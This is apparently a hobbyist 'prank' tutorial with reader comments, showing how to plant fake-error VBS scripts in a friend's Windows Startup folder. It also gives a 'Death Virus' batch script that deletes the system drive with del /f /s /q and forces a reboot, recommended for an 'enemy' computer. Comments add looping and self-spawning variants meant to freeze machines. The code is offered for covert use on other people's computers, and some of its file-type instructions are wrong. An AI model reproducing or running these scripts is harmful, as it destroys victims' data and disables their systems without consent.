Introduction: How to Freak Out Your Friends (with Their Computer) [Tricks and Fun Volume 1]

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In this instructable I will show you how to do stuff on anyone's computer and freak them out!

Note: Please read the instructions carefully before trying to attempt this. No harm can be caused by this .vbs file. If you use the instructions wrongly (i.e mistake in typing codes) i will not be held for anything.

The first instructable will show you how to make a message box that comes alot of times onto the screen.
What the message box says is up to you.

You will need about 4-9 minutes to do (one of these) so try to convince your friend to let you use the computer alone for a while, or, do this when they are at the washroom!

Now, lets continue with the Instructables!!

Step 1:

Step 2: Step One: Opening NotePad and Other Information [Fake Virus Fun (1)]

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Step One:

Open Notepad by going to start > run > type notepad > enter. or by start > all programs > accessories > Notepad.

Then, write this code

msgbox "Windows has encountered an serious error and cannot continue.",89, "ERROR"

IMPORTANT NOTE: You MUST put all of the code on one line and not like this (for example):

msgbox "Windows has encountered an serious
error and cannot continue.",89, "ERROR".

If you wish to write your own message, then just replace the Windows has encountered an serious error and cannot continue. with your message.

Step 3: Step Two: the Critical (Well, Not So Really...) Part!

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Step Two:

First we Copy the file that we saved, then , we go to....

Start > All programs > Startup.

Once we see the folder "Startup" we double click it. Once you do that you will see the "Startup" folder.

[Continue to step 3, and don't close that folder!!!]

Step 4: Step 3: the Not So Hard Part -Copy & Paste-

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Step 3:

you already copied the file into the Startup folder right? ok you did.

Now, copy the File again and paste it into the startup folder as many times as you like. After that,
anyone that opens that user will get those messages (as many times as you opened it) each time he/she turns on her computer.

Step 5: The Result!!!

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The Result will be ALOT of messages making your friend think theirs a virus on his/her computer!

It will be easier to understand by looking at the picture below.

Step 6: Removal of the Fake Virus. (stopping the Fake Virus)

if you want to reverse it ( Stop the messages from coming) just turn on the computer, wait for it to load all the messages and then go in the startup folder and delete all the .vbs files there.

This is why I recommend that you DO NOT put too many of the .vbs files there because if you put, lets say, about 300-100 of those there then the computer would not be able to handle so many messages which would freeze the computer each time it starts up thus making the computer "unusable".

If you want revenge on somebody's computer, then this would be a perfect choice (Putting 300-100 of the fake virus files!)

Step 7: More Fun With VBS and Notepad - Destroying Your Enimies Computer! (Un-fixable) -- Death Virus!

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Just to give you a note this code will PERMANENTLY DESTROY your "enemies" Computer and is UN-FIXABLE -- I AM NOT RESPONSIBLE FOR ANY OF THE DAMAGE CAUSE BY THIS!!!!!!!!!!!!!!!!!!!!!!!!!

This code (that is below) will delete the victims system drive/system files and cause the "Blue screen of death" This is how to execute (How to make) the "Death Virus"

Open up notepad, type or copy and paste the code below into notepad:

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Now click Save as on notepad then a box will come up. Save it anywhere you wish and name it
anything.vbs [DONT SAVE IT YET AND CONTINUE TO STEP 2!!!!!!!!!!]

Step 8: "Death Virus" -- the Not Too Hard Part XD

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Now Change the "Text Document" box by clicking on it then change it to "All Files"

Now save it anywhere you want. Once you've done that, Continue to Step 3 (Step 8, in numbered)

Step 9: The Too Easy Part -- Executing (starting) the "Death Virus" !!!!!!!!

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Now we will start the VIRUS!!!!!!!!

To start the virus, open it just like you would open internet explorer. The virus will now start and the victim will see: "THE BLUE SCREEN OF DEATH"!!!!!

Look at the picture below to see "the blue screen of death!"

Oh and also to make the victims computer 99, put the file in the startup folder of the computer and the virus will start at the computers start. Though this will not work if the victim boots his/her computer in safe mode.

Hope you enjoyed the second instructable!

Evillness..... :D


jdege (author)2009-03-28

Wouldn't it be easier to use a for loop?

Kiteman (author)jdege2009-03-28

Wouldn't a loop trap it?

NachoMahma (author)Kiteman2009-03-28

. Not sure what you mean by "trap it" but a loop would allow using only one file (or should, I'm not familiar with VBasic).

Kiteman (author)NachoMahma2009-03-28

Me either - I just assumed that, since the numbered version jams the computer until all the numbered steps are done, a looped version would trap it forever.

NachoMahma (author)Kiteman2009-03-28
. Ah. A FOR loop has limits. Eg, in pseudo-code:
for x = 1 to 5  msgbox "msg text",89, "window name"next x
would (hopefully) display 5 instances of the dialog box.
EWOKG (author)NachoMahma2015-12-05

Even though there's a pseudo code to my knowledge you can add coding to make it run a matrix and sort of algorithm the numbers to make a loop correct me please if I'm wrong

EWOKG (author)EWOKG2015-12-05

Speaking of which how exactly do u get to the start up folder

I have Vista & XP on the same computer. I tested your code on Vista but it does not work. I'll try on XP later and see if your code works.

ahh, ok, your right! thank you nachomahma but im too lazy to re-write the stuff with this command so i'll just keep it the same. :S

frollard (author)NachoMahma2009-03-30

by trap he means it wouldnt display the next until the first was clicked, as the msgbox event returns a value, and the loop cannot continue without that value.

greenbean (author)Kiteman2009-10-20

It can in certain circumstances. See this instructable:

Master Of Hacks (author)Kiteman2009-03-31

Actually the main propose why I did not use loop in the code was so that you could actually close the box(es).

Kiteman (author)Master Of Hacks2009-03-31

Ah, that's what I thought.

msw100 (author)2012-04-29

That code will not destroy a system, it only a matter of re-formatting and installing the OS, All it will do is get you a smack in the mouth from the owner

SwordAce (author)2011-10-01

You could also say ":LOOP msgbox "Windows has encountered an serious error and cannot continue.",89, "ERROR" GOTO LOOP" (do not add the quotation marks at the VERY end of the code (not the message) and the very begging (not the message) if you are posting the code! Do that for SUPREME impact on your PC!

Master Plastik (author)2009-04-01

The fact that you think it's unfixable makes this a pretty malicious instructable, but the fact is that both pranks are easily fixable, and for the first one you don't even need to close all the popups. All you have to do is start the computer in Safe Mode (which doesn't open anything in the startup folder) and delete the .vbs files you created and restart.

dllhacker (author)Master Plastik2010-07-29

can you also fix the blue screen of death that way? i don't think you could fix it by going into safe mode because the instructions said it deletes the system files.

Super_Nerd (author)dllhacker2011-06-04

If you have file recovery software on an external HDD you might be able to recover your files.

Yes that is true but it is very unlikely that the victim would startup in safe mode for "no reason" and anyways he/she would eventually startup normally on the computer anyways. :P

michaelb958 (author)2010-10-05

Suggestion: Save this as error.vbs, removing the number at the start of each line.

1 set z = createobject("")
2 do
3 "error.vbs"
4 msgbox "Windows has encountered an error and cannot continue.", 16, "ERROR"
5 loop

It opens itself before displaying the message, and the thing it opened does the same. Also, when one message is acknowledged, it opens two more!

watermelonhead (author)2009-04-26

you know, this is like a real virus

Yeah,lol I better re-name the title.

can't it be fixed if you reinstall the computer with a new cd for the operating system? although it will be fixed you won't have all your files back unless you save some of them in another computer or something right?

no its not it doesnt replicate

greenbean (author)octavian2342009-10-20

If you bring it onto the victim's computer from a host, such as a USB flash drive, then it is considered a virus. And we can all agree that the common usage of the term "virus" is any malware. This is very obviously a harmful bit of code.

canno (author)2009-03-29

lol nice is there a way to make something like this on a macosx notebook

greenbean (author)canno2009-10-20

There is a program similar to CMD on Macs. You could look into that.

Master Of Hacks (author)canno2009-03-29

No sorry, i only know about Windows. :)

Master Of Hacks (author)2009-07-13

I have seen a high amount of variant versions of this script, I would like to perform this script but (Nooby:) i just can't i always get a command promt. The CMD flashes on the screen for 1 second and goes away WTF?

cons11 (author)Master Of Hacks2009-09-12

the CMD command runs on me for even a minute...hehehe...maybe there's a virus on the PC eliminating it from running,to stop the user from removing it(the virus is what i'm talking about)

Master Of Hacks (author)cons112009-09-25

Nope, if it flashes (comes on short then closes) then you've wrote the code wrong.

Actually, Your code just tells the cmd to open, erase everything, and then shut off the computer. The CMD can close before the computer is completely off, and if it is fast enough, it caould theoretically flash.

this time i tested the new one to make sure it worked and it did

-i would put this in the startup folder -type this in notepad -make sure you make the .bat file and the .vbs file -this is for XP @echo off cd "C:\documents and settings\all users\start menu\programs\startup" :A start virus.vbs goto A -save it as a .bat file in "C:\documents and settings\all users\start menu\programs\startup -this one is for vista @echo off cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" :A start virus.vbs goto A -save it as a .bat file in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -type this in notepad -this is for XP and vista do msgbox "Windows has encountered an error and cannot continue." ,48, "ERROR CODE:9001" loop -save it as virus.vbs in your startup folder (where you put the .bat file) -make sure the .vbs file says do msgbox ... loop -there should only be three lines -this will keep opening the virus.vbs until the ram is full

Bremer1281 (author)2009-03-29

OH MY GOD I LOVE THIS THING!!! I just freaked out my mom on her computer and it was hilarious. unfortunately my dad figured it out and got mad at me because I titled it VIRUS and ya...... one thing you might concider is making it more obvious that it has to be a .vbs file or else it opens up the notepad document. but it rules and was funneeeeeeeeeeeeeee!!!


icampwithAR (author)2009-04-04

also it didnt work on vista so ur saying that it will only work on xp?

I haven't tested the virus yet. I thought it would work on vista though....Either it does not work or it only works on XP.. I'll see if I can make an update.

ok thanks dude

And also, I will be making a video on how to do all of the stuff here. It will be on YouTube. I will post the link on the front page of this instructable when the video is finished :)

icampwithAR (author)2009-04-03

dude i copied and pasted the code for the deletion virus and did all the other stuff and it doesnt work i tried to do it on my friends windows 98 comp and it said unknown file cannot complete or w/e so yea it didnt work any suggestions???

Are you sure you followed the instructions correctly?

-_Knex gun maker_- (author)2009-05-17

isn't the death virus fixable by inserting the windows xp install/boot disc and selecting windows repair. that would also save your files.. but even so, DONT DO THE DEATH VIRUS!!! too much work to fix....

Yes well obviously -_-

I named it "Death Virus" just because of what it does.

will421 (author)2009-04-26

FINISH STEP 10!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!11111111111111

Master Of Hacks (author)will4212009-07-13

Actually I am not going to make Step 10 as I have moved it. You will later be able to see it in Volume 2.

icampwithAR (author)2009-04-03

it says invalid character and wont work soo yea make updates or tell me what im doing wrong

There is no "updates" i can make, if it says invalid character then you must have added a extra character or etc.

sharlston (author)icampwithAR2009-05-17

that means your writing it wrong

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